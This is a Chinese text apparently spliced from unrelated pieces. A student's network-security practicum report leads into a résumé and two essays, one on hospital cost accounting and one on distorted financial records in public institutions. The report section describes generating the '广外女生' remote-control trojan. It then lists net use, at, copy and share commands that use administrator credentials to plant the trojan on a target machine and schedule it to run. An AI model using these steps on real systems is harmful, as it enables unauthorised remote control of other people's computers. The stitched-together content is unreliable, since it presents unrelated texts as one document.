第一步: 将“爱思红墙主机网络防火墙”的安装光盘插入驱动器,运行根目录下的Setup文件来运行其安装程序,进入“爱思红墙主机网络防火墙安装”窗口;
第二步:
在“欢迎安装爱思红墙主机网络防火墙”对话框中,单击“下一步”按钮;
第三步: 在“软件许可协议”对话框,接受协议点击“是”;
第四步: 点击“是”按钮,出现显示您计算机的相关信息,即判断是否可以安装本软件;
第五步: 单击“下一步”按钮,出现“选择目标位置”对话框;
第六步: 在该对话框中,单击“浏览”按钮,并在“选择文件夹”对话框中选择盘符作为驱动器,再指定相应的文件夹及路径,然后单击“确定”按钮;
第七步: 单击“下一步”按钮,出现“选择安装程序名称”对话框,您可自定义程序名称;
第八步: 单击“下一步”按钮,系统开始复制文件;
第九步: 进入“红墙主机网络防火墙配置”窗口,作出是否运行“红墙应用程序扫描系统”的选择后,点击“完成”。
相关设置:告警设置:系统提供了两种情况下的告警,即需要系统告警和不需要系统告警,您可据需要选取告警设置。
点击主界面中的“规则管理”按钮,弹出相应窗口,如下图:
网络监控中心:
(5)网络攻击工具:“广外女生”
它的基本功能有:文件管理方面有上传,下载,删除,改名,设置属性,建立文件夹和运行指定文件等功能;注册表操作方面:全面模拟WINDOWS的注册表编辑器,让远程注册表编辑工作有如在本机上操作一样方便;屏幕控制方面:可以自定义图片的质量来减少传输的时间,在局域网或高网速的地方还可以全屏操作对方的鼠标及键盘,就像操纵自己的计算机一样;远程任务管理方面,可以直观地浏览对方窗体,随意杀掉对方窗体或其中的控件;其他功能还有邮件IP通知等。
主要步骤:首先运行“gwg.exe”,出现如图窗口:
选中“服务端设置”,生成“GDUFS.exe”木马:
然后将“GDUFS.exe”复制到自己的C盘中,再根据一些命令把“GDUFS.exe”复制到目标主机的盘中,再进行运行。目标主机的IP:191.168.12.38 具体步骤及命令:
“开始”——“运行”——“cmd”
命令:net use 191.168.12.38ipc$ 123 /user:administrator 与目标主机之间建立联系
命令:net time 191.168.12.38 获取目标主机的时间
命令:at 191.168.12.38 08:21 net share c$=c: 与目标主机的C盘建立通道
命令:copy c:GDUFS.exe 191.168.12.38c$ 复制“GDUFS.exe”文件到目标主机的C盘中:
命令:191.168.12.38 10:49 c:GDUFS.exe 指定“GDUFS.exe”在目标主机中什么时候运行。
三、专周小结:
通过这次网络安全专周,我不仅仅是学到了很多知识,更是透彻的理解到了网络安全对生活已经将来工作的意义。
网络安全分为软件网络安全和硬件网络安全。一般我们说的网络安全就是软件上的网络安全,即局域网,互联网安全。
网络安全又分为内网安全和外网安全。在内外网安全中,内网安全则是重中之重。毕竟是家贼难防。据不完全统计,全国因为内网安全的问题,至少每年算是几亿美元。所以,网络安全特别重要。
至于在将来的工作中,我们也要严格尊市网络设备管理原则和使用秩序,对设备进行统一管理专人负责,严格要求自己对设备进行安全操作,保持强烈的责任感和服务意识,做好每一个细节,重点做好以下几项工作:
1,及时准确判断网络故障,做好上门维护工作或及时提醒网络合作商进行维护。
2,定期检查维护各网络设备的运行情况并进行维护。3,不定期对服务器进行更新和检查。
4,遇到特殊情况,及时向领导和老师汇报,努力提高应急处理问题和独立处理问题的能力。
姓 名: 陈先生 性 别: 男
出生年月:1987年9月28日 健康状况: 良好
毕业院校:河北工业职业技术学院 专 业: 计算机网络技术
求职意向:
应聘职位:系统维护/网管、网页制作/广告设计
工作经历:到贵公司工作将是第一次
最希望工作地区:北京 月薪要求:生活最低保障
电子邮件: 联系电话:
通信地址:石家庄市xxxxxx) 邮编:
教育背景:
毕业院校:河北工业职业技术学院 目前学历:大专
毕业时期:6月 专业 :网络信息安全管理
主修课程:
计算机基础/局域网构建和HTML语言/C语言/网络三剑客 /Windows等操作系统/计算机组装与维修/Photoshop/局域网与信息安全管理
语言能力:
外语:英语
外语水平:良好的听、说、读、写能力外语标准测试:B级四级待考
国语水平:精通
获奖情况:
6月 获班级第五名、三等奖学金
自我评价:
本人性格开朗、稳重、有活力,待人热情、真诚。喜欢思考研究。工作认真负责,积极主动,能吃苦耐劳。有较强团体协作精神和创新意识,能迅速的适应新环境,并融合其中。
获得证书情况:
医院成本核算可以包括很多部分, 而医院各个方面的建筑也均是建立在成本核算基础上的, 如确定医疗服务价格、医疗赔偿额度、医疗设备的添加力度等, 众所周知, 成本核算是一项系统又专业的工作, 通过网络信息技术可以有效提升核算质量, 也可以充分实现对各个科室的成本控制, 并且能够充分保证信息更新的及时性、准确性等, 对于促进医院发展、提升经济收益等方面可以起到很好的推动作用[1]。
二、通过网络信息技术来强化医院全成本核算的措施
2.1增强数据准确性。对于成本核算来说, 若数据不准确即使使用再先进的技术都无法得到正确的核算结果, 因此在医院全成本核算中必须更加重视数据录入、更新等环节, 网络信息技术的使用可以充分实现数据共享, 并具有很好的校对功能, 但前提是必须保证最初的数据输入是准确的。可以在医院内加强宣传, 使所有人员均能明白数据准确性的重要性, 以此来提升工作人员对工作的责任感, 另外, 尽量做到当天的数据当天录入, 否则很容易被医院的繁琐工作打扰, 从而遗忘或造成数据错录的现象[2]。
2.2及时更新相关数据。网络信息技术具有很好的网络实时性, 医院的各式价格制定并不是一成不变的, 因此应在其价格发生变化的第一时间进行数据更新, 以免在成本核算工作中依然使用从前的数据, 从而造成核算失误影响到成本核算工作的质量, 在此过程中应注重注意三个方面:一是, 各个医院的收费价表;二是, 临床诊疗项目;三是, 药品。以上项目应指派专人负责, 包括规划、采购甚至录入环节, 尽量不要假手于人, 尤其在更新价格时的录入更要注意。
2.3提升控制力度。医院的全成本核算包括各个科室的成本核算, 将其进行整合、分析最终才能得到核算结果, 传统的核算方式费事、费时、费力, 而在信息网络技术的应用下, 全面实现了信息共享, 使得核算工作开展起来更为便捷, 为了能够增强成本控制, 可以在成本核算系统中将各个科室的成本核算系统相连, 形成互相制约、互利互惠的体系, 如此一来科室之间既不能查看其他科室的具体明细, 又能了解其他科室的支出状况, 这对于全成本核算来说可以省去很多麻烦, 其可以根据此系统来规划下一步的发展计划[3]。
2.4提升成本核算人员的综合素质及能力。我国医院的全成本核算工作开展的虽然不错, 但依然存在很多问题有待改善, 这其中核算人员的综合素质和能力也是重点改善对象, 核算人员的能力与核算工作质量之间有着直接的关系, 目前很多核算人员并不能完全掌握使用网络信息技术来开展核算工作, 因此应加强对核算人员的培训, 使其尽快掌握灵活使用网络信息技术的能力, 并提升核算技能, 或积极引进此方面的专业人才来壮大并优化核算人才队伍。
结语
综上所述, 医院成本核算是医院发展中的重要部分, 其直接关系到医院今后的发展方向以及经营手段等, 而随着医院行业的不断发展, 社会各界对医院的新要求等, 都使得医院不得不在某些方面做出改变, 而在此过程中成本核算则能够起到至关重要的作用, 若成本核算工作的质量和效率得不到有效完善和提升, 很容易导致医院需要承担不必要的损失。网络信息技术在成本核算方面的作用有目共睹, 所以要从多方面采取措施将网络信息技术的作用发挥出来。
摘要:随着社会的不断进步, 科技的不断发展, 我国各个领域都得到了很好的发展, 尤其在网络信息技术得到广泛应用和推广后。众所周知, 成本核算对于任何行业来说都是十分重要的, 而随着社会的飞速发展, 传统的成本核算方式已经逐渐被淘汰。本文通过查阅相关资料, 简要介绍了医院全成本核算中网络信息技术发挥的作用, 并提出了行之有效的通过网络信息技术来强化医院全成本核算的相关措施, 以期能够为医院全成本核算方面提供有价值的参考。
关键词:网络信息技术,医院,全成本核算,措施
参考文献
[1]史美荣.基于信息技术的医院成本核算[J].财经界 (学术版) , 2016, 11 (02) :111-113.
[2]阙庆华.开展全成本核算强化医院经济管理[J].现代营销 (学苑版) , 2012, 05 (01) :122-123.
关键词:事业单位;财务信息;失真;对策
一、事业单位财务信息失真的现状概述
2010年6月23日,审计署发布56个部门单位2009年度预算执行情况和其他财政收支情况审计结果,涉及违法违规的情况主要表现在以下几方面:使用内容虚假的发票或单据报账,套取资金;会议费超标,扩大开支范围;挪用项目资金,用于发放津贴补贴;多申领财政资金或瞒报收入和资产,违规收取赞助费等等。所属事业单位中也存在预算执行不符合财经制度规定、账务记录不规范、接受开票单位与发票领购单位不符的发票报销、使用假发票等情况。以上种种因素均直接导致了财务信息失真,损害了国家利益,引人关注。
二、事业单位财务信息失真的成因剖析
1.财务信息相关责任人整体素质有待提高
财务人员是财务信息生成的直接责任人。事业单位财务人员往往充当出纳角色,认为不需要具备较强的业务能力。财务人员甚至由办公室人员兼任,或者虽是有专职财务人员但也并非是专业财务人员。由此造成财务基础工作混乱,存在着账务处理不规范、固定资产记录不清,长期投资入账凭据缺失等问题。
2.财务制度尚存诸多的问题和不足
(1)财务制度体制存在缺陷。我国现阶段会计法律法规并不健全,《会计法》和《刑法》等相关法律法规对会计人员不依法履行会计监督职权,均未认定为违法,弱化了会计监督职能。而且从相关法规对违法会计人员的处罚来看,大多数也还只停留在警告、罚款和停止执业资格上。对违反会计职业道德行为的处罚太轻,打击力度不够,难以构成有效的惩戒;加之在会计人员抵制违法会计行为需要法律保护时,法律往往不能给予足够的保护,使得会计人员的道德修养缺乏强有力的支撑。
事业单位在财务核算原则上要求每个单位只保留一个账户,但实际上还有相当一部分单位还以各种理由开设了两个或两个以上账户。财务核算只是单位财务的一部分,造成了都分事业单位少计收入、多列支出,甚至于形成“小金库”。有的单位固定资产账面上有记载,但实物已经不存在,而实际上在用的某些固定资产却未依价入账,形成账外资产。此外,虽然事业单位大都实行了部门预算制度,但预算之外的追加调整项目仍然很多。追加项目越多,预算的随意性越大,权威性和约束力就越差。预算控制是内部控制的核心环节,是事业单位特有的内部控制手段之一,但是事业单位资金来源多元化,使得财政监督难以到位,预算执行失控。
(2)财务内控机制不完善。在部分事业单位中,没有建立有效的财务会计制度贯彻执行机制,因而未能发挥应有的作用。内部牵制制度、内部稽核制度、内部财务监督制度没有得到真正落实。财务工作机构、财务岗位设置不合理。有的单位至今还没有单独制定内部的财务管理制度,许多财务事项的运作与管理措施仅是惯例,而没有相应的成文制度保证,管理的随意性较大。记账人员与出纳人员没有实行岗位分离,或只实行岗位分离,没有相互制约。由于职权不明确,责任不清楚,程序不规范,致使职务重叠,相互扯皮,越权行事,弄虚作假,造成财务工作秩序混乱,财务管理失控。另外也存在着不同单位之间的资产转移,却未办理相应手续。
3.市场环境的薄弱进一步导致了信息的失真
(1)财务体制机制不健全。为什么年年审计,年年有违法违规现象出现呢?答案是由于体制机制不完善造成的。由于市场机制不完善和法治不健全,我国的部门预算被称之为“审计风暴”。虽然从财政部2009年度预算收支中看出,大部分单位基本符合国家有关预算和财经法规的规定,会计处理基本符合会计法、相关会计准则和会计制度的规定,较好地整改了以前年度审计发现的问题。但每年还是有不少单位存在着这样和那样的问题。
(2)单位管理层不重视。单位管理层对内部控制的重视程度不够,缺乏支持和指导,有的单位领导凌驾于制度之上,自己不遵守纪律,遇到具体问题强调灵活性,使内控制度执行力度下降,失去应有的职能。
(3)政府监管不力。财务监管体系主要以审计为主,财政、税务等辅助监督构成的。但各部门监管范围不同,以各自监管职责为防线,各自为政,直接造成了对出现的情况视而不见。以本级利益为主,以国家利益为辅,直接导致政府监督职能逐渐弱化。以税务局对个人所得税的征收为例:单位代扣代缴、自行网上申报,地方税务局一般不再复核其准确性。其主要原因为个人所得税为中央地方分成税种,地方只拿20%,地方税务局不愿意在这小税收上投入较大的人力和物力。而且在经济快速发展的大背景下,监督部门因各种原因,缺乏工作主观能动性。中介审计机构走过程。由于中介机构设立门槛低,市场上中介机构鱼目混杂,企业为了生存和自身效益,审计报告问题不突出、质量低下。
三、改善事业单位财务信息失真的对策
1.营造良好的财务环境,为防止会计信息失真打好良好的基础
加强财务人员的培训。财务人员后续教育主要是加强财务人员队伍建设,提高财务人员的政治素质,业务能力,职业道德水平。通过培训,使事业单位的财务人员知识和技能得到不断更新、补充、拓展,进一步掌握内部财务管理控制制度和政策法规,支持和督促财务人员遵循财务职业道德,增强财务法制观念,提高守法意识和财务管理水平,正确行使财务人员的职责权利。实行责任追究制,要切实加强财务管理,进一步明确财务人员责任,完善监督机制。
2.完善财务内控制度,从制度上消除各种贪污腐败的行为
(1)为强化财政改革,规范财政行为,促进财政工作走上法制化轨道。事业单位的资金来源主要是财政资金,用好、管好国拨资金,是财务工作的基本前提条件。而科学完善的内控制度可使单位在财务工作中有章可循,做到收支行为规范化、财务管理科学化,减少财务工作的随意性,避免资产流失,从源头上制止腐败等经济犯罪事件的发生。
(2)制定统一内部财务控制制度。鉴于目前国家还没有系统成文的事业单位内部控制制度,建议各单位以现有的事业单位财务管理制度为载体,制定统一的《事业单位内部财务管理控制制度》。进一步增强严格执行预算的自觉性,切实做到依法行政、依法理财;提高预算编制的科学性,增强预算约束力,改进中央专项转移支付项目决策和管理机制,进一步加强国有资产的管理和监督,提高财务信息的透明度。进一步推进行政管理体制改革尤其是财税体制改革,从体制和机制上解决中央预算执行中存在的问题。
3.规范业务流程,进一步保证会计信息的真实完整
(1)规范现金报销资料审核,加强对发票等原始单据的管理和监督检查,所有现金报销单据均由财务人员交叉审核确认,并严格执行费用开支标准。
(2)加大财务信息化建设的投入,使原始票据的传递由现实状态转变为虚拟方式,增强财务原始数据资源的共享性,供相关业务部门都可相互查阅、相互监督。
(3)严格执行预算管理,强化预算控制。
参考文献:
[1]张英:试论改善行政事业单位的财务管理[J],现代商业,2010,(08)
[2]马文远:事业单位财务管理中存在的问题及改进措施探索[J]财经界(学术版),2009,(04)
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